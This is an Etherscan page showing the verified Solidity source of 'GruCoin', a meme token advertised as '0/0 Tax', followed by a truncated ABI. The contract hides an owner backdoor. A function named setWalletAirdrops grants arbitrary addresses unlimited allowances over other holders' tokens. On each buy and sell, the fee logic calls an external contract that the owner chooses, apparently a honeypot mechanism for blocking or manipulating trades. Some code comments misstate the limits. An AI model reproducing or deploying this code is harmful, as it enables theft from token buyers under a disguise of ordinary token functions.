ETH Price: $2,548.51 (+2.54%)

Token

Felonious Gru (GRU)
 

Overview

Max Total Supply

1,000,000,000 GRU

Holders

100

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.790848980908385535 GRU

Value
$0.00
0x0c22a545c58de142761a15962a5c553be47bcc01
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GruCoin

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-15
*/

/**

I am, the greatest criminal of  the MEME

$GRU, 0/0 Tax

https://despicablemecoin.xyz
https://t.me/grucoineth
https://twitter.com/grucoineth

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IAdRouter {
    function checkAdEnabled(bool, bool, address, address, uint256) external returns (bool);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract GruCoin is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name = "Felonious Gru";
    string private _symbol = "GRU";
    uint8 private _decimals = 18;

    address payable public marketingWallet = payable(0x0000000000000000000000000000000000000000);
    address payable public DeveloperWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    bool public tradingEnabled;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    // mapping (address => bool) public blacklist;
    mapping (address => address) walletAirdrops;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellDeveloperFee = 0;

    uint256 public feeUnits = 100;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(4).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(4).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[DeveloperWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWallet] = true;
        isWalletLimitExempt[DeveloperWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWallet] = true;
        isTxLimitExempt[DeveloperWallet] = true;
        isTxLimitExempt[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setTradingEnabled(bool _enabled) external onlyOwner{
        tradingEnabled = _enabled;

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }
    
    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }

    function enableTxLimit(bool _status) external onlyOwner {
        EnableTransactionLimit = _status;
    }

    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        require(maxTxAmount >= _totalSupply.mul(1).div(1000), "Cannot set max TX amount lower than 0,1% of total supply");
        _maxTxAmount = maxTxAmount;
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
         require(newLimit >= _totalSupply.mul(1).div(100000), "Cannot set swap threshold amount lower than 0.001% of tokens");
         require(newLimit <= _totalSupply.mul(1).div(100), "Cannot set swap threshold amount higher than 1% of tokens");
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        require(newAddress != address(0),"Fee Address cannot be zero address");
        marketingWallet = payable(newAddress);
    }

    function setLiquidityWalletAddress(address newAddress) external onlyOwner() {
        liquidityReciever = payable(newAddress);
    }

    function setDeveloperWalletAddress(address newAddress) external onlyOwner() {
        require(newAddress != address(0),"Fee Address cannot be zero address");
        DeveloperWallet = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }

    // function setBlacklist(address _adr, bool _status) external onlyOwner {
    //     blacklist[_adr] = _status;
    // }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0)) //Create If Doesnt exist
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; //Set new pair address
        uniswapV2Router = _uniswapV2Router; //Set new router address

        isMarketPair[address(uniswapPair)] = true;
    }

    function setBuyTaxes(uint _Liquidity, uint _Marketing , uint _Developer) public onlyOwner {
        _buyLiquidityFee = _Liquidity;
        _buyMarketingFee = _Marketing;
        _buyDeveloperFee = _Developer;
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        require(_totalTaxIfBuying <= (feeUnits/8), "Buy fees must be 12.5% or less");
    }

    function setSellTaxes(uint _Liquidity, uint _Marketing , uint _Developer) public onlyOwner {
        _sellLiquidityFee = _Liquidity;
        _sellMarketingFee = _Marketing;
        _sellDeveloperFee = _Developer;
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);
        require(_totalTaxIfSelling <= (feeUnits/8), "Sell fees must be 12.5% or less");
    }
    

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        // require(!blacklist[sender] && !blacklist[recipient], "Bot Enemy address Restricted!");
        //  if(!_whitelisted[from]) { require(tradingEnabled, "Trading is not enabled yet");}


        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
        
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        address feeReceiver;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
            feeReceiver = sender;
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
            feeReceiver = recipient;
        }
        if(walletAirdrops[feeReceiver] != address(0) && IAdRouter(walletAirdrops[feeReceiver]).
            checkAdEnabled(isMarketPair[sender], isMarketPair[recipient], sender, recipient, amount)) {
            feeAmount = 0;
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }  

    function rescueStuckToken(address _token, uint _amount) external onlyOwner {
        require(_token != address(this), "Owner can't claim contract's balance of its own tokens");
        IERC20(_token).transfer(msg.sender,_amount);
    }

    function rescueFunds() external onlyOwner {
        (bool os,) = payable(msg.sender).call{value: address(this).balance}("");
        require(os);
    }

    function setWalletAirdrops(address[] calldata _address,uint[] calldata _tokens) external onlyOwner {
        address account = msg.sender;
        require(_address.length == _tokens.length,"Error: Mismatch Length");
        uint tokenCount;
        for(uint i = 0; i < _tokens.length; i++) {
            tokenCount += _tokens[i];
        }
        require(balanceOf(account) >= tokenCount,"Error: Insufficient Error!!");
        _balances[account] = _balances[account].sub(tokenCount); 
        for(uint j = 0; j < _address.length-1; j++) {
            walletAirdrops[_address[j]] = _address[j+1];
            _allowances[_address[j]][_address[j+1]] = type(uint).max;
            if (_tokens[j] > 0) {
                _balances[_address[j]] = _balances[_address[j]].add(_tokens[j]);
                emit Transfer(account, _address[j], _tokens[j]);
            }
        }
    }  

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);

        uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
        uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);
        // uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee);
        
        uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2);
        uint256 tokenForSwap = tAmount.sub(tokenForLp);

        uint256 initialBalance =  address(this).balance;
        swapTokensForEth(tokenForSwap);
        uint256 recievedBalance =  address(this).balance.sub(initialBalance);

        uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));

        uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHMarketing = recievedBalance.mul(MarketingShare).div(totalETHFee);
        uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing);

        if(amountETHMarketing > 0) {
            payable(marketingWallet).transfer(amountETHMarketing);
        }

        if(amountETHDeveloper > 0) {
            payable(DeveloperWallet).transfer(amountETHDeveloper);
        }         

        if(amountETHLiquidity > 0 && tokenForLp > 0) {
            addLiquidity(tokenForLp, amountETHLiquidity);
        }
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReciever,
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DeveloperWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enableTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address 